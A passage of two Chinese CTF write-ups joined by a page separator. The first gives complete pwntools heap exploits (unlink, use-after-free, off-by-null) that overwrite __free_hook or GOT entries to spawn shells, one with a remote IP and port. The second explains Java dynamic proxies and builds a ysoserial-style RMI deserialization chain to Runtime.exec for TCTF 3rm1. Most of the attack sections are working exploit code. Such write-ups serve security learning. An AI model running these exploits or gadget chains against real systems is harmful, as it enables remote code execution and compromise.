ru("Index:")
sl(str(Index))
def puts(Index):
ru("Choice:")
sl('3')
ru("Index:")
sl(str(Index))
def exit():
ru("Choice:")
sl('5')
def edit(index,Content):
ru("Choice:")
sl('2')
ru("Index:")
sl(str(index))
ru("Content:")
sd(Content)
bk(0x400A56)
malloc(0,'aaaaaaaa\n')
malloc(1,'bbbbbbbb\n')
free(1)
free(0)
puts(0)
heap_addr = u64(rc(4).ljust(8,'\x00')) - 0x30
print "heap_addr--->" + hex(heap_addr)
py1 = p64(heap_addr+0x20) + p64(0)
py1 += p64(0) + p64(0x31)
edit(0,py1)
malloc(6,'aaa\n')
malloc(7,p64(0) + p64(0xa1) + '\n')
malloc(2,'cccccccc\n')
malloc(3,'dddddddd\n')
FD = 0x602080-24
BK = 0x602080-16
py2 = ''
py2 += p64(0) + p64(0x31)
py2 += p64(FD) + p64(BK)
malloc(4,py2)
py3 = ''
py3 += p64(0x30) + p64(0x30) + '\n'
malloc(5,py3)
free(1)
puts(1)
main_arena = u64(rc(6).ljust(8,'\x00')) - 88
print "main_arena--->" + hex(main_arena)
libc_base = (main_arena&0xfffffffff000) - 0x3c4000
print 'libcbase--->' + hex(libc_base)
# malloc_hook = main_arena - 0x10
# libc_base1 = malloc_hook - libc.symbols["__malloc_hook"]
# print 'libc_base1--->' + hex(libc_base1)
onegadget = libc_base + 0x4526a
free_hook = libc_base + libc.symbols["__free_hook"]
print "free_hook--->" + hex(free_hook)
print "onegadget--->" + hex(onegadget)
edit(4,p64(free_hook) + '\n')
edit(1,p64(onegadget) + '\n')
free(2)
p.interactive()
调试可以看到信息：
接着随便free掉一个块即可getshell~
这里总结如下：
####
首先题型是固定malloc大小，然后不能实现堆溢出，可以通过泄露出堆地址来实现chunk的错位从而间接改写chunk大小为大于fastbin的大小，并通过不断申请新的chunk来加需要的空间，最后构造一个free的chunk来实现unlink（向前合并），再构造一个chunk来使得前面的chunk位free状态，最后free掉一开始的chunk块，既可实现双重功能：泄露libc和任意地址写~用到的知识点是unlink+UAF+fastbin_attack
那就再来一道简单题：
#### 2018年强网杯silent2：
分析代码：
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch]
unsigned __int64 v4; // [rsp+8h] [rbp-8h]
v4 = __readfsqword(0x28u);
sub_40091C(a1, a2, a3);
sub_4009A4();
while ( 1 )
{
__isoc99_scanf("%d", &v3);
getchar();
switch ( v3 )
{
case 2:
sub_400AB7();
break;
case 3:
sub_400B2F();
break;
case 1:
sub_4009DC();
break;
}
}
}
得到函数：
def create(size, content):
p.sendline('1')
p.sendline(str(size))
p.send(content)
def modify(idx, content1, content2):
p.sendline('3')
p.sendline(str(idx))
p.send(content1)
p.send(content2)
def delete(idx):
p.sendline('2')
p.sendline(str(idx))
可以看到是没有puts函数可以打印的，但是这题的思路相对清晰，就是利用UAF漏洞，先malloc5个chunk块（大于0x80），0,1,2,3,4，其中2chunk写入“、bin/sh\x00”，因为看到了system函数，可以直接调用的，然后free掉3和4，再申请一个大的块时就会得到之前free的两个块，上面的信息也会保留，于是可以构造fake_chunk了，这里先构造一个fake_chunk1用于unlink，接着构造第二个fake_chunk2，将第一个fake_chunk状态置为0，同时修改下一个chunk4的大小使其满足fake_chunk1+fake_chunk2
= 大的malloc的chunk。接着我们再free掉4号chunk,（double
free）就会向后合并，从而使得chunk3的地址指针指向chunk0，接着再往chunk3写入free的got，再接着往chunk0写入system，然后free掉2号chunk，即可getshell~
直接上exp:
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./silent2')
if local:
p = process('./silent2')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')
def create(size, content):
p.sendline('1')
p.sendline(str(size))
p.send(content)
def modify(idx, content1, content2):
p.sendline('3')
p.sendline(str(idx))
p.send(content1)
p.send(content2)
def delete(idx):
p.sendline('2')
p.sendline(str(idx))
p.recvuntil('king') # 自己创建的banner.txt文件的内容
func_addr = 0x4009C0
free_got_plt = 0x602018
p_addr = 0x6020D8
create(0x100, 'AAAA')
create(0x100, 'BBBB')
create(0x100, '/bin/sh\x00')
#bk(0x0000000000400A4F)
create(0x100, 'DDDD')
create(0x100, 'EEEEE')
delete(3)
delete(4)
payload = p64(0) + p64(0x101) + p64(p_addr - 0x18) + p64(p_addr - 0x10) + 'A' * (0x100 - 0x20) + p64(0x100) + p64(
0x210 - 0x100) # 构造两个chunk，绕过unlink的检查
create(0x210, payload)
delete(4) # double free
modify(3, p64(free_got_plt)[0:4], '1111')
modify(0, p64(func_addr)[0:6], '2222')
delete(2)
p.interactive()
这题和堆块下溢本质上是差不多的，区别在于没有puts函数和下溢漏洞，但是有UAF漏洞，就可以实现构造fake_chunk，这和第一题是很像的，和下溢的操作是差不多的。
堆溢出，还有一种情况就是当我们的puts无法调用时，无法打印出堆块上面的内容时，我们可以间接调用法，通过unlink写入free的got，然后再写一次往free的got写入puts_plt，那么就可以实现free调用就是调用puts函数，只要free一个带有got表的堆块，我们就可以实现puts打印功能了，接着再次改写free的got为onegadget或者atoi的got为system，传参数（/bin/sh\x00）即可实现getshell~
上题目：
## 2014 HITCON stkof
由于利用思路都是一样的，堆溢出构造fake_chunk，然后unlink攻击，所以直接上exp：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./stkof')
if local:
p = process('./stkof')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
#addr = u64(rc(6).ljust(8,'\x00'))
#addr = u32(rc(4))
#addr = int(rc(6),16)#string
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def edit(index,size,Content):
sl('2')
sl(str(index))
sl(str(size))
sd(Content)
ru('OK\n')
def free(Index):
sl('3')
sl(str(Index))
def malloc(size):
sl('1')
sl(str(size))
ru('OK\n')
ptr = 0x602150
free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_got = elf.got["puts"]
puts_plt = elf.symbols['puts']
malloc(0x80)#1
malloc(0x30)#2
bk(0x400981)
malloc(0x80)#3
FD = ptr - 0x18
BK = ptr - 0x10
py = ''
py += p64(0) + p64(0x31)
py += p64(FD) + p64(BK)
py += 'a'*16
py += p64(0x30) + p64(0x90)
edit(2,0x40,py)
free(3)
py1 = ''
py1 += p64(0) + p64(atoi_got) + p64(puts_got) + p64(free_got)
edit(2,len(py1),py1)
py2 = ''
py2 += p64(puts_plt)
edit(2,len(py2),py2)
free(1)
puts_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "puts_addr--->" + hex(puts_addr)
onegadget = puts_addr - libc.symbols["puts"] + 0xf02a4
print "onegadget--->" + hex(onegadget)
system = puts_addr - libc.symbols["puts"] + libc.symbols['system']
# edit(2,0x8,p64(onegadget))
# free(2)
edit(0,0x8,p64(system))
sl('/bin/sh\x00')
p.interactive()
下面是我当时打全国大学生信息安全竞赛时半决赛的一道unlink的题目总结：
## 题目：PWN1
首先看下保护机制：
看到保护机制，想到要想getshell，只有通过修改__free_hook的地址为我们的onegadget，先埋下伏笔，这里分析开始漏洞：
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
init();
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
menu();
v3 = read_int();
if ( v3 != 2 )
break;
fr();
}
if ( v3 > 2 )
break;
if ( v3 != 1 )
goto LABEL_13;
ma();
}
if ( v3 == 3 )
{
ed();
}
else
{
if ( v3 != 4 )
LABEL_13:
exit(1);
sh();
}
}
}
提取出函数：
def edit(index,Content):
ru("show")
sl('3')
ru("index:")
sl(str(index))
ru("content:")
sd(Content)
def free(Index):
ru("show")
sl('2')
ru("index:")
sl(str(Index))
def malloc(index,size,content):
ru("show")
sl('1')
ru("index:")
sl(str(index))
ru("size:")
sl(str(size))
ru("content:")
sd(content)
def puts(index):
ru("show")
sl('4')
ru("index:")
sl(str(index))
首先是malloc函数，发现很正常，输入下标，大小和内容：
接着是free函数：
接着edit函数：
最后是puts函数，key2应该是0，所以用不了打印函数：
bss段中key1和key2，掌控着edit函数的使用次数和puts函数的打印功能，而且细心会发现，其实只要填到key2，因为地址占用8位，那么key1也是会被覆盖成1的，问题是要修改这里的值，得下溢，所以得往上找注入点：
#### 如果我们可以往chunk32的地址0x6021E0处写入内容的话，就可以实现下溢，0x6022b8-0x6021E0 =
0xd8字节，也就是从这里开始输入要输入0xd8的字节，同时chunk32是我们能控制的最后一个chunk块，unlink后输入的位置是chunk29的地址，有0x18的距离，0x18+0xd8=0xf0，也就是要填充0xf0的junk
string，然后再写入8字节的数字，所以一共需要0xf8的大小，即堆块的大小必须要是0xf8才行，这是第一个坑点，需要计算出要malloc的堆块大小。
接着因为off by
null的原理是在输入最后加上一个\x00，溢出一个字节，那么就可以想到修改上一个堆块的状态为free，于是想到可以用unlink的做法实现chunk32的地址指向chunk29，那么我们可以构造出来：
malloc(0,0xf8,'aaaa')
malloc(32,0xf8,'bbbb')
malloc(1,0xf8,'cccc')
malloc(31,0xf8,'dddd')
free_got = elf.got['free']
ptr = 0x6021E0#32
FD = ptr - 24
BK = ptr - 16
py = ''
py += p64(0) + p64(0xf1)
py += p64(FD) + p64(BK)
py = py.ljust(0xf0, "\x00")
py += p64(0xf0)
edit(32,py)
free(1)
我们先申请4个堆块，然后在chunk32里面做文章，构造出我们的unlink链子，由于off by
one的漏洞，会把chunk1的size字节低位置为0，那么就是说我们的fake_chunk是free状态的，这时我们如果free掉chunk1，就会触发unlink从而实现了chunk32指向chunk29，如果我们edit了chunk32，就会从chunk29开始输入，下面一步步看下具体的过程，首先是申请：
接着是fake_chunk的构造：方框是fake_chunk，圆圈是我们的offbyone漏洞，使得我们的fake_chunk为free状态
unlink一下：
一个unlink实现了泄露出libc基地址和0x6021e0指向0x6021c8，接着再改写key1和key2：
py = ''
py += p64(0x6021E0)*3 + p64(free_got)#0x20
py += 'a'*0xD0
py += p64(1)
edit(32,py)
下图中key2为0，key1位1（改写前），可edit不可puts
下图中key2为1，key1位0（改写后）可edit可puts
这里很巧妙的一点就是chunk29到chunk31都填写chunk32的地址，也就是往chunk29到chunk31写入内容实则都是往chunk32写入内容，那么我们可以进行真实地址泄露了，这里可以puts出chunk32上面的free的真实地址，也可以通过打印1号块的内容来泄露main_arena地址（unsorted
bin攻击），打印完了我们就可以得到system和onegadget和free_hook的地址，然后将free_hook地址写入到chunk32中，再往chunk32写入onegadget：
上exp：
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
#context(arch='i386', os='linux')
local = 1
elf = ELF('./pwn1')
if local:
p = process('./pwn1')
libc = elf.libc
else:
p = remote('116.85.48.105',5005)
libc = ELF('./libc.so.6')
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def edit(index,Content):
ru("show")
sl('3')
ru("index:")
sl(str(index))
ru("content:")
sd(Content)
def free(Index):
ru("show")
sl('2')
ru("index:")
sl(str(Index))
def malloc(index,size,content):
ru("show")
sl('1')
ru("index:")
sl(str(index))
ru("size:")
sl(str(size))
ru("content:")
sd(content)
def puts(index):
ru("show")
sl('4')
ru("index:")
sl(str(index))
#bk(0x400990)
malloc(0,0xf8,'aaaa')
malloc(32,0xf8,'bbbb')
malloc(1,0xf8,'cccc')
malloc(31,0xf8,'dddd')
free_got = elf.got['free']
ptr = 0x6021E0#32
FD = ptr - 24
BK = ptr - 16
py = ''
py += p64(0) + p64(0xf1)
py += p64(FD) + p64(BK)
py = py.ljust(0xf0, "\x00")
py += p64(0xf0)
edit(32,py)
free(1)
#0xF8
py = ''
py += p64(0x6021E0)*3 + p64(free_got)
py += 'a'*0xD0
py += p64(1)
edit(32,py)
puts(32)
free_addr = u64(ru('\x7f')[-6:].ljust(8,'\x00'))
print "free_addr--->" + hex(free_addr)
onegadget = free_addr - libc.symbols["free"] + 0x4526a
print "onegadget--->" + hex(onegadget)
free_hook = free_addr - libc.symbols["free"] + libc.symbols['__free_hook']
print "free_hook--->" + hex(free_hook)
pay = p64(free_hook)#这里需要注意，edit又会被使用完，所以需要再覆盖一次为1
pay = pay.ljust(0xf0,'\x00')
pay += p64(1)
edit(31,pay)
edit(32,p64(onegadget))
free(0)
p.interactive()
最后free掉chunk0即可getshell~
总结：
这里学到了新的技巧是利用off by
null+unlink（手动计算堆块大小0xf8），同时学到了那3个地址写同一个地方的操作（针对于只有free_hook可用，需要二次写入时），还有就是一个覆盖的问题，写入覆盖bss段中的key实现函数的利用，认识了这么多的题型和技巧，unlink算是学的比较懂了，进军下一个方向，冲冲冲~ | 社区文章 |
# 从TCTF的3rm1学习java动态代理
## 关于java代理
> 代理模式是常用的 java
> 设计模式，他的特征是代理类与委托类有同样的接口，代理类主要负责为委托类预处理消息、过滤消息、把消息转发给委托类，以及事后处理消息等。代理类与委托类之间通常会存在关联关系，一个代理类的对象与一个委托类的对象关联，代理类的对象本身并不真正实现服务，而是通过调用委托类的对象的相关方法，来提供特定的服务。
这里需要关注的重点有如下几点
* 代理类与委托类有同样的接口
* 代理类主要负责为委托类预处理消息、过滤消息等简而言之经过代理的类方法被调用后会先经过代理类的处理。
* 一个代理类的对象与一个委托类的对象关联
从这里你能够发现其实实现代理模式需要三个东西：一个公共接口，一个具体的类，一个代理类,代理类持有具体类的实例，代为执行具体类实例方法。
下面是最常见的两种代理模式
### 静态代理
这种代理方式需要代理对象和目标对象实现一样的接口。但是当需要代理的对象过多就需要实现大量的代理类，并且一旦接口增加方法，目标对象与代理对象都要进行修改。
举个例子学生交作业，一般都是通过学生先交给课代表然后课代表交给老师这种模式，课代表在这里就相当于是一个学生代理类。
首先你需要一个公共代理接口,这个接口就是学生（被代理类），和课代表（代理类）的公共接口
public interface Event {
void SubmitWork();
}
然后你需要一个学生类,这是被代理类。
public class Student implements Event{
String name;
public Student(String n) {
this.name = n;
}
@Override
public void SubmitWork() {
System.out.println(this.name + "提交作业");
}
}
最后你需要一个代理类
package test;
public class StudentInnovation implements Event{
Student student;
int count = 0; //收到的作业数量
public StudentInnovation(Student stu){
// 只代理学生对象
if(stu.getClass() == Student.class) {
this.student = (Student)stu;
}
}
public void setStudent(Student student) {
this.student = student;
}
@Override
public void SubmitWork() {
this.student.SubmitWork();
this.count += 1;
System.out.println("已收作业数量为" + this.count);
}
}
有了这三样东西你就能实现一个简单的代理。简单测试一下。
package test;
public class main {
public static void main(String[] args) {
//被代理的学生张三，他的作业提交由代理对象monitor（课代表）完成
Student s1 = new Student("张三");
Student s2 = new Student("李四");
Student s3 = new Student("王五");
//生成代理对象，并将张三传给代理对象
StudentInnovation monitor = new StudentInnovation(s1);
//向课代表提交作业
monitor.SubmitWork();
monitor.setStudent(s2);
monitor.SubmitWork();
monitor.setStudent(s3);
monitor.SubmitWork();
}
}
但是你能很明显的感受这样的模式完成代理一个类是很容易的，但如果需要代理的类很多，那么就需要编写大量的代理类，比较繁琐。并且当接口被改变代理类同样需要改变，这样就产生了更大的局限性和更多麻烦。这就需要动态代理来解决问题了。
### 动态代理
动态代理和静态代理一样也需要三样东西：公共接口，代理对象，代理类。区别就是动态代理是利用反射机制在运行时创建代理类。
例如这里代理对象类的接口类不变，代理类这样实现。这里使用了jdk原生自带的`InvocationHandler`，这个类也是文章后面会重点使用到的利用类。这样写就不再局限于一种接口了。
package test;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class ProxyHandler implements InvocationHandler {
private Object object;
int count = 0; //收到的作业数量
public void setStudent(Student student) {
this.object = student;
}
public ProxyHandler(Object object){
this.object = object;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
method.invoke(object, args);
this.count += 1;
System.out.println("已收作业数量为" + this.count);
return null;
}
}
进行测试
public class main {
public static void main(String[] args) {
//被代理的学生张三，他的作业提交由代理对象monitor（课代表）完成
Student s1 = new Student("张三");
InvocationHandler handler = new ProxyHandler(s1);
Event proxyHello = (Event) Proxy.newProxyInstance(s1.getClass().getClassLoader(), s1.getClass().getInterfaces(), handler);
proxyHello.SubmitWork();
}
}
### 动态代理简单利用
而有了代理如何进行利用呢，这里简单搭建一个攻击场景。
首先有两个公共接口
package test;
public interface Teacher {
Object getObject();
void attack();
}
有一个实现公共接口的类A和一个后门类
package test;
public class A implements Teacher{
Object object;
@Override
public Object getObject() {
return null;
}
@Override
public void attack() {
System.out.println("attack");
}
}
有一个后门类,例如这样。
package test;
import java.io.IOException;
public class Backdoor implements Teacher{
@Override
public Object getObject() {
return null;
}
@Override
public void attack() {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}
有一个可利用的代理类myProxy
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class myProxy implements InvocationHandler {
private Object object;
public myProxy(Object o){
this.object = o;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
return this.object;
}
}
有一个代理类
package test;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
public class ProxyHandler implements InvocationHandler {
private A object;
public ProxyHandler(Object object){
this.object = (A) object;
}
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("method is " + method.getName());
method.invoke(this.object.getObject(), args);
return null;
}
}
很明显我们最终的目的是需要调用到后门类里面的attack方法。这里我们能够控制`ProxyHandler.invoke()`中的method为attack方法名，因为Teacher接口里面也有attack方法。
所以关键就是让`this.object.getObject()`能够返回一个Backdoor后门类实例对象就能完成attack方法调用。所以怎么做呢这里的通常做法就是能够寻找到一个新的代理，我们能够控制这个代理的invoke返回对象，然后用它来代理ProxyHandler中的object，当调用到`this.object.getObject()`进入到我们找的可利用的代理对象中控制返回对象为一个Backdoor后门类实例。所以很明显这里的`myProxy`就是那个新的代理。
最终的利用代码如下
public class main {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
A t = new A();
Backdoor backdoor = new Backdoor();
InvocationHandler backdoorhandler = new myProxy(backdoor);
Teacher proxyInstance = (Teacher) Proxy.newProxyInstance(backdoor.getClass().getClassLoader(), new Class[]{Teacher.class}, backdoorhandler);
InvocationHandler handler = new ProxyHandler(t);
Field field = handler.getClass().getDeclaredField("object");
field.setAccessible(true);
field.set(handler,proxyInstance);
Teacher proxyHello = (Teacher) Proxy.newProxyInstance(t.getClass().getClassLoader(), t.getClass().getInterfaces(), handler);
proxyHello.attack();
}
}
## 关于题目
此题最终是4解，最终的做法也是将java动态代理运用的很巧妙，很有趣的一道题。
题目描述和提示
> The server resets every 5 minutes
> hint 1: <https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-> Remote-Protocols.pdf> page 50
> hint 2:
> <https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/Spring1.java>
题目给了一个rmi服务，但是题目的远程服务端绑定死了，所以即使控制了lookup的参数也无法进行jndi。
但是如果能够在rmi服务端绑定我们的恶意对象，然后恶意对象的地址只想我们的恶意服务（例如jrmp
listener），然后在注册端lookup这个对象然后会在我们的恶意服务端返回序列化好的数据让题目客户端反序列化即可进行rce。
题目给的两个hint很明显契合了这个做法，第一个hint用来绕过高版本jdk限制除本地服务外的其它连接来注册对象。第二个hint用来完成进行rce的反序列化链。
## 注册恶意对象
工具一把梭<https://github.com/qtc-de/remote-method-guesser>
绑定之后，起一个JRMPListener服务使用URLDNS的链子，然后请求我们注册的恶意对象，可以看到题目客户端成功将URLDNS的链子反序列化，很明显此做法是可行的，所以剩下需要做的就是找出找出一条链子进行rce。
## 反序列化链的尝试
这个是这个题目的难点，题目给的提示是spring1的链子，所以必然需要先了解这条链子。
### 关于spring1
这条链子在JDK 8u66之前是可以使用的。
链子调用如下图，最终利用TemplatesImpl.newTransformer()来实例化恶意字节码，链子主要靠的是使用InvocationHandler层层代理。
使用ysoserial项目调试。程序反序列化的入口为`org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider.readObject()`
此时可以看到总共是有三层代理的。
在`this.provider.getType().getClass()`存在第一层代理，在invoke里会返回一个`org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler`代理，这个代理的invoke是最终执行命令的方法。
从上图也可以看到最后一层代理是代理objectFactory的getObject方法，然后返回一个templates，此时method又被设置为newTransformer，所以就能成功实例化恶意字节码。
接着往下调试，第一次代理返回就是上面所说的`AutowireUtils$ObjectFactoryDelegatingInvocationHandler`
然后在`ReflectionUtils.findMethod`中会获取到newTransformer方法，因为代理类实例化时传入了接口。
然后还会调用一次getType，调用过程和第一次是一样的返回对象也是一样的，都是返回了一个代理对象。
重要的是在调用`ReflectionUtils.invokeMethod`时，可以看到此时的method已经被代理
所以会再次跳转到代理类的invoke，这里就是我们最终能够成功调用templates的newtransformer的地方。可以看到这里调用到了getObject方法，但是objectFactory已经被代理所以这里的getObject方法返回的类也可以被控制，让其返回一个templatesImpl实例对象即可。
进入到getObject代理中，看到从HashMap中取出来templatesImpl实例对象
。
后面就是经典的利用templatesImpl实例化恶意字节码来进行rce的做法了。
### 回到题目，比赛时错误的做法。
说是错误做法就是没有注意到题目jdk版本导致写出来的链子有个类在jdk202下被更改过了导致无法使用，不过还是值得记录一下。
题目的readObject入口是这样的，和spring1的链子对比一下，可以看到几乎一摸一样。这里的`getGirlFriend`就相当于时`getType`方法
同时看到题目提供的一些接口，几乎和spring1如出一辙，区别就是这些都是出题者自己实现的。
但是相比于spring1还差一个可以最终rce的反射调用方法。再看代码发现出题者实现了`MyInvocationHandler`，所以很明显需要用的都提供了剩下的就是改改实例化类的名字了。
exp代码如下
package ysoserial.payloads;
import com.ctf.threermi.*;
import org.springframework.beans.factory.ObjectFactory;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Type;
import static java.lang.Class.forName;
public class TCTF3rmi extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
final FactoryInter factoryInter = Gadgets.createMemoitizedProxy(Gadgets.createMap("getObject", templates), FactoryInter.class);
final MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
Reflections.setFieldValue(myInvocationHandler,"object",factoryInter);
final Friend friend = Gadgets.createProxy(myInvocationHandler,Friend.class,Templates.class);
final UserInter userInter = Gadgets.createMemoitizedProxy(
Gadgets.createMap("getGirlFriend", friend),
UserInter.class,Templates.class);
Gadget gadget = new Gadget();
Reflections.setFieldValue(gadget,"user",userInter);
Reflections.setFieldValue(gadget,"mName","newTransformer");
return gadget;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(TCTF3rmi.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
但最终是无法打通题目，可以问题出在看到从`memberValues`中获取到的对象是null。
原因在于在最开始已经说到spring1的链子有jdk版本限制，而题目的版本是jdk8u201，高版本下`AnnotationInvocationHandler`的readObject方法被修改了，无法控制this.memberValues的值了，所以也无法控制invoke的返回对象。下面看看到底在哪被限制了呢。
jdk8u201版本下的`AnnotationInvocationHandler`如下,最终需要满足判断`var12 !=
null`才能获取HashMap中的键值然后put到var7中最后赋值给`MemberValues`
而`memberTypes`是从`AnnotationType`实例化后的对象获取到的，跟进`getInstance`。可以看到第一个参数指定var1必须是Annotation的子类，第二个参数是传入一个Map类型的var2。将var1赋值给成员变量type然后将var赋值给成员变量memberValues。
这里的分析其实就是CC1链子的分析网上也有很多文章，接着看到`AnonotationType`的构造函数。可以看到`memberTypes`的赋值是在构造函数中实现的。构造函数传的参数是AnnotationInvocationHandler的var0，然后通过反射获取了Annotation对象的所有方法，遍历方法名字赋值给var7，方法返回类型赋值给var8，最后将两者put到memberTypes成员变量中。
所以回到readObject，要进入if里面就需要在HashMap里面put一个Annotation对象的方法名字，这里的Retention为Annotation的一个子类且有一个value的方法。
所以这样的话就只需要往HashMap中put一个键名是"value"的字符串就能进入到if中了。
但是问题又来了，我们能够看到此时var4中存在两个map了，一个map中含有value键名，但另一个还是没有，所以当遍历到键名为getObject的map时还是无法进入到if中就无法获取到map的键值，那最终`MemberValues`的这个map的键值就是null，所以就会出现在`AnnotationInvocationHandler.invoke()`函数中从MemberValues获取对象结果为null的问题了。
而要解决这个问题就是找到一个Annotation的一个子类，这个子类的所有方法名中有叫`getObject`的方法。但显然这样的类无法找到。所以还是需要舍弃这个类去寻找新的类了。
#### RemoteObjectInvocationHandler
这个类的寻找也很简单官方wp上直接使用java代码遍历类设置条件筛选出可用的类或者直接使用codeql也很方便
public class FindClass {
public static void main(String[] args) {
Reflections reflections = new Reflections();
Set<Class<? extends InvocationHandler>> subTypesOf =
reflections.getSubTypesOf(InvocationHandler.class);
for (Class<? extends InvocationHandler > aClass : subTypesOf) {
if(Serializable.class.isAssignableFrom(aClass)){
System.out.println(
aClass
);
}
}
}
}
import java
from Class c
where c.getASupertype().hasName("InvocationHandler")
and
c.getASupertype*() instanceof TypeSerializable
select c
`RemoteObjectInvocationHandler`的invoke方法如下，可以看到这个类最终能调用到ref的invoke方法。
ref.invoke最终调用到的是StreamRemoteCall#executeCall方法。基本上所有客户端的请求，invoke->executeCall其实就是一条危险片段链，是rmi攻击手段中经常会见到的类。
ref其实就是一个远程引用，里面保存着服务端的对象信息。就像我们调用Registry的bind方法时，绑定的也是远程引用。
但是这里还是无法控制返回对象所以还是不能直接替换AnnotationInvocationHandler这个类，但是又有另外一个攻击思路了。
* 首先我们自己实现两个接口然后绑定到注册中心，这样ref中保存的就是我们的自己实现接口后的类。
* 然后利用RemoteObjectInvocationHandler来代理UserInter接口让题目客户端反序列化时调用的方法是我们自己实现的方法，这样我们在自己实现的类里就能控制返回对象了。
例如这样，只需要让题目客户端调用到我们自己实现的类即能控制返回对象。
## 最终攻击-rce反序列化链
最终的链子如下。
package ysoserial.payloads;
import com.ctf.threermi.*;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
import javax.xml.transform.Templates;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;
/*
/*
Gadget chain:
Gadget.readObject()
UserInter(Proxy).getGirlFriend()
RemoteObjectInvocationHandler.invoke()
UnicastRef.invoke()
StreamRemoteCall#executeCall()
UserInter.getGirlFriend()
Templates(Proxy).newTransformer()
MyInvocationHandler.invoke()
FactoryInter(Proxy).getObject()
RemoteObjectInvocationHandler.invoke()
UnicastRef.invoke()
StreamRemoteCall#executeCall()
FactoryInter.getObject()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TemplatesImpl.TransletClassLoader.defineClass()
Pwner*(Javassist-generated).<static init>
Runtime.exec()
*/
*/
class UserImpl implements UserInter {
Registry registry;
{
try {
registry = LocateRegistry.getRegistry(7777);
} catch (RemoteException e) {
e.printStackTrace();
}
}
@Override
public String sayHello(String paramString) throws RemoteException {
return null;
}
@Override
public Friend getGirlFriend() throws RemoteException {
FactoryInter factoryInter = null;//annotationInvocationHandler
try {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 2);
allIfaces[0] = FactoryInter.class;
allIfaces[1] = Remote.class;
factoryInter = (FactoryInter) Proxy.newProxyInstance(FactoryInter.class.getClassLoader(),allIfaces,Proxy.getInvocationHandler(registry.lookup("factory")));
} catch (Exception e) {
e.printStackTrace();
}
final MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
try {
Reflections.setFieldValue(myInvocationHandler,"object",factoryInter);
} catch (Exception e) {
e.printStackTrace();
}
final Friend friend = Gadgets.createProxy(myInvocationHandler,Friend.class, Templates.class);
return friend;
}
}
class FactoryImpl implements FactoryInter{
String cmd;
@Override
public Object getObject() throws Exception {
return Gadgets.createTemplatesImpl(this.cmd);
}
}
public class TCTF3rmiExp extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
int evilServerPort = 7777;
Registry registry = LocateRegistry.createRegistry(evilServerPort);
UserImpl user1 = new UserImpl();
registry.bind("UserImpl", UnicastRemoteObject.exportObject(user1, evilServerPort));
FactoryImpl factoryImpl = new FactoryImpl();
Reflections.setFieldValue(factoryImpl,"cmd",command);
registry.bind("factory", UnicastRemoteObject.exportObject(factoryImpl, evilServerPort));
// ((UnicastRef) ((RemoteObjectInvocationHandler) ref).ref).getLiveRef().getEndpoint().getClass()
